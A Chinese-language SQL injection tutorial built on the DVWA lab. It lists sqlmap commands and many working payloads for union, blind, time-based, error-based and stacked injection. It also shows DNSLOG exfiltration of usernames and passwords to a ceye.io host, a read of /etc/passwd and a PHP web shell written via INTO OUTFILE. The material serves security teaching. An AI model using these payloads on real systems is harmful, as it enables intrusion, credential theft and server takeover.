文章目录
- OWASP TOP 10
- 注入
- 注入的分类
- SQL注入
- SQL注入的危害:
- sqlmap自动化注入
- 注入类型
- 回显注入
- 盲注
- 时间注入
- 不同请求方式的注入
- 特殊位置的注入
- 利用DNSLOG注入
- 基于报错的注入
- 二阶注入
- 宽字节注入
- 堆叠注入
- sql注入读写文件
OWASP TOP 10
A1:2017 注入
A2:2017 失效的身份认证
A3:2017 敏感数据泄露
A4:2017 XML外部实体
A5:2017 失效的访问控制
A6:2017 安全配置错误
A7:2017 跨站请求脚本(XSS)
A8:2013 跨站请求伪造(CSRF)
A8:2017 不安全的反序列化
A9:2017 使用含有已知漏洞的组件
A10:2017 不足的日志记录和监控
注入
注入:用户的输入被当成命令/代码执行或者解析了
将不受信用的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入(操作系统命令)和LDAP(轻量目录访问协议)注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
用户的输入并非固定位置,可能存在于:
- 输入框
- 搜索栏
- 提交表单
- URL链接
- 所有的GET/POST请求的请求头和请求包头
- 留言
- 评论
- 几乎任何数据源都有可能成为注入载体,只要是能被发出的数据位置
可被执行的代码:
- SQL
- LDAP
- Xpath or NoSQL
- 系统命令
- XML语言
- SMTP包头
- 表达式语句
- ORM查询语句
- 危害:该代码能做什么即是危害
注入的分类
通常的注入有sql注入和命令注入
SQL注入
动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作。SQL注入攻击指的是通过构造特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,其主要原因是程序没有采取必要的措施避免用户输入内容改变原有SQL语句的语义。
SQL注入的危害:
- 绕过登陆验证:使用万能密码登陆网站后台等
- 获取敏感数据:获取网站管理员账号、密码等
- 文件系统操作:列目录、读取或写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
sqlmap自动化注入
SQLmap支持的数据库是MySQL、Oracle、PostgreSQL、SQL server、DB2、ACCESS、Sqlite、Sybase等。
1.sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
2.--dbs 检测站点包含哪些数据库
3.--current-db 获取当前的数据库名
4. --tables -D "db_name" 获取指定数据库中的表名 -D后接指定的数据库名称
5.--columns -T "table_name" -D "db_name" 获取数据库表中的字段
6.--dump -C "columns_name" -T "table_name" -D "db_name" 获取字段的数据内容
7.sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2 cookie注入 后接cookie值
POST注入:
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单,例如:sqlmap -u www.xx.com/login.asp --forms
(8)指定参数搜索:--data,例如:sqlmap -u www.xx.com/login.asp --data "username=1"
注入类型
回显注入
1、找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。
2、接下来,我们可以用order by num语句查询该数据表的字段数量。
我们输入 1' order by 1# 结果页面正常显示。继续测试,1' order by 2#,1' order by 3#,当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。
3、利用联合查询,查看一下我们要查询的数据会被回显到哪里。
这里尝试注入 1' and 1=2 union select 1,2 #
从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
我们注入:
1' and 1=2 union select user(),database() #
4、为了获取到整个数据库的特征。我们要首先介绍一下,mysql和MariaDB数据库的一个特征,即information_schema库。
information_schema 库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 库中的SCHEMATA表存储了数据库中的所有库信息,TABLES表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS 表存储表中的列信息,包括表有多少列、每个列的类型等
盲注
盲注:页面不会显示数据库的查询结果。只会表现出两种状态:查询成功、查询失败。
为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:
1' and 1=1#
1' and 1=2#
如果我们通过构造sql语句不停的确认是否,就可以得到数据库的一切信息。比如,不停的问,数据库里有1张表吗?两张表吗?三张表吗?
第一张表的表名是4个字吗?5个字吗?。第一张表的表名第一个字母是a吗?是b吗?是c吗?如果网页能够一直告诉我这些问题的是否。我们必然能获取所有数据。像这种能用是与否的逻辑进行注入的盲注,被称为布尔型盲注(Boolean注入)。
1、输入:1’ and length(user())>5#
1后面的单引号闭合前面语句。length()函数会返回括号内的字符串长度,例如length(’abc‘)返回3。
函数user()能查询数据库的用户名。length(user())即会查询用户名的长度。
这句话的逻辑很简单,如果当前用户名字的长度大于5,则整个条件为真,数据库就去查询有无ID为1的用户,而我们知道ID为1的用户是存在的。
所以应用一定会返回:User ID exists in the database. 如果当前用户名字的长度小于5,应用则会返回User ID is MISSING from the database.
虽然我们不能让应用显示详细信息,但我们可以让它回答:是或否。
我们来看看结果: 应用返回真,于是我们知道了当前用户名的长度大于5。
2、开始确定用户名,因为我们只能让web应用回复:是或否。 所以我们只能一个字母一个字母来猜。 输入:1’ and substring(user(),1,1)=‘a’#
所以注入这个SQL语句的目的就是要取出当前用户名字的第一个字母,用二分法来找出这个字母是什么,接着找第二个字母,然后第三个…
3、盲注库名
注入查询有几个库
1' and (select count(schema_name) from information_schema.schemata) =6 #
注入第一个库名长度
1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。
注入第一个库名
1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i' #
1' and substring((select schema_name from information_schema.schemata limit 0,1),2,1)='n' #
这两条也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 #
事实上这个库名我们知道是默认的information_schema
4、盲注表名
与上面的逻辑一样。盲注表名也分为三个步骤:1.盲注查询库内有多少个表;2.盲注查询库内第一个表表名的长度;3.盲注查询库内第一个表的表名
盲注查询库内有多少个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
盲注查询库内第一个表表名的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15 #
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9 #
盲注查询库内第一个表的表名
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='e' #
依照此逻辑可以依次推出余下字符
接下来也可以推第二张表
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='s' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='e' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='r' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='s' #
5、盲注列名
逻辑与上文是一样的,三步骤。
.判断users表中有多少列。
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
判断每一列的列名长:
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1))=7#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1))=4#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1))=8#
判断第四列列名。
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),1,1))='u'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),2,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),3,1))='e'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),4,1))='r'#
判断第五列列名。
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),1,1))='p'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),2,1))='a'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),3,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),4,1))='s'#
6、盲注数据
数据库名,表名,列名,现在都推出来了,现在则是查看列里的内容。
1' and (select count(*) from dvwa.users)=5# (判断列中有几条记录)
1' and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)
1' and substr((select user from users limit 0,1),1,1)='a' # (判断user这一列的第一条记录的第一个字段是否为a)
1' and substr((select user from users limit 0,1),2,1)='d'# (判断user这一列的第一条记录的第二个字段是否为d)
1' and substr((select user from users limit 1,1),1,1)>'g'# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)
时间注入
时间盲注与布尔型注入的区别在于,时间注入是利用sleep()或benchmark()等函数让数据库执行的时间变长。
时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:if(length(database())>1,sleep(5),1)它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。
一旦我们构造出结果为真的条件,网页(后端数据库)响应就会延迟。
我们把前文学到的盲注语句嵌入到刚刚的if、sleep组成的句子中,就可以完成接下来的注入了。
1%27%20and%20if($盲注语句,sleep(5),1)–+
不同请求方式的注入
- get请求方式的SQl注入
- post请求方式的注入
特殊位置的注入
- 存在于cookie中的注入
- 存在于User-Agent 中的注入
利用DNSLOG注入
当DNS服务被请求时,会在DNSlog中留下相应的日志。
这种特性可以帮助我们在许多没有回显的漏洞利用中得到便利。
善于使用这个机制,可以在windows搭载数据库的环境中将盲注变为显注。
SELECT first_name, last_name FROM users WHERE user_id = '1' and LOAD_FILE(CONCAT('\\\\',(select database(),'ubs9hj.ceye.io')))#'
1' and SELECT LOAD_FILE(CONCAT('\\\\',database(),'ubs9hj.ceye.io'))#
1'select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'
select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'));
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'
1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 1,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select user from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select password from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1'and 1=2 union select user,password from dvwa.users#
select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
基于报错的注入
基于报错的注入有很多种形式。
这里主要介绍利用XPath语法错误进行注入和主键重复报错注入。
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。 使用条件:mysql版本>5.1.5
extractvalue函数
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
常见用法:
id=" and(select extractvalue("anything",concat('~',(注入语句))))
id=" and(select extractvalue(1,concat('~',(select database()))))
id=" and(select extractvalue(1,concat(0x7e,@@version)))
注:
0x7e 是~的asccii码
concat(‘a’,‘b’)=“ab”
version()=@@version
‘~‘可以换成’#’、’$'等不满足xpath格式的字符
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updatexml函数与extractvalue函数极为相似。
id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))
当concat函数内拼接出的字符不符合xpath格式时,会报错,并将报错结果带回来。
and (select updatexml(1,concat('~',(select database())),1))
" and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
" and (select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
利用主键重复报错进行注入
利用concat+rand()+group_by()导致主键重复。数据库会报错然后将查询结果返回。
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
一个常见的语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
让我们逐步拆解这个语句。
rand():生成0~1之间的随机数。
floor函数,其功能是向下取整。
那么floor(rand(0)*2)),rand():生成0到1之间的随机数。乘以二就是0到2之间的随机数,向下取整,结果只能是0和1.
groud by 对数据进行分组,可以看到原本结果只有0和1,于是只分成了两组。
count(*)简单说就是个计数的函数;这里和group by合用用来计算每个分组出现的次数。
那么最终的payload是:
' union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个很大的表" group by x)a--+
这里表示,按照x分组,x分组为floor(rand(0)*2产生的随机值即0和1。因为rand()函数会因为表有很多行而执行多次,产生多个0和1。
所以,当在group by对其进行分组的时候,会不断的产生新分组,当其反复执行,发先分组1已结存在时,就有会报错。
' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+
' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
二阶注入
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
宽字节注入
宽字节注入是数据库编码采用GBK编码时所产生的漏洞。尽管现在使用GBK编码的数据库已不多见,但由于这个漏洞绕过网站转义机制的经典性,仍然具有很大的启发意义。
下图为MariaDB默认的编码,通过 alter database [数据库名] character set [字符集名]
,可以修改数据库编码。如果改为GBK编码,这一漏洞就会存在。
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%ab%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围,如%ab,%df)。网站在过滤 ’ 的时候,往往是利用反斜杠转义将 '
转换为 \'
。所以如果我们输入%ab%27(%27就是单引符号会被转义成\'
也就是%5c%27
),在后台%ab
会将%5c
“吃掉”,组成一个汉字(%ab%5c是一个汉字)。
出现数据库报错,说明单引号起作用了。
接下来就可以利用手工注入进行余下的部分了。
堆叠注入
数据库的堆叠查询可以执行多条语句,多语句之间可以用分号隔开。
堆叠注入就是利用这个特点,可以在第二个SQL语句中构造自己要执行的语句。注入如下语句:
1';update users set password='123456' where username='Dumb';--+
sql注入读写文件
利用load_file()函数可以读取数据库有权限读取的文件。
如,读/etc/passwd
`1' and 1=2 union select 1,load_file('/etc/passwd');#`
利用outfile函数可以在数据库有写权限的目录写入文件。
利用outfile函数可以将一句话木马写入到一个文件内,并保存在数据库有写入权限的web路径下。
1' and 1=2 union select 1,'<?php @eval($_POST[123])?>' into outfile '/var/www/dvwaplus/tq.php'#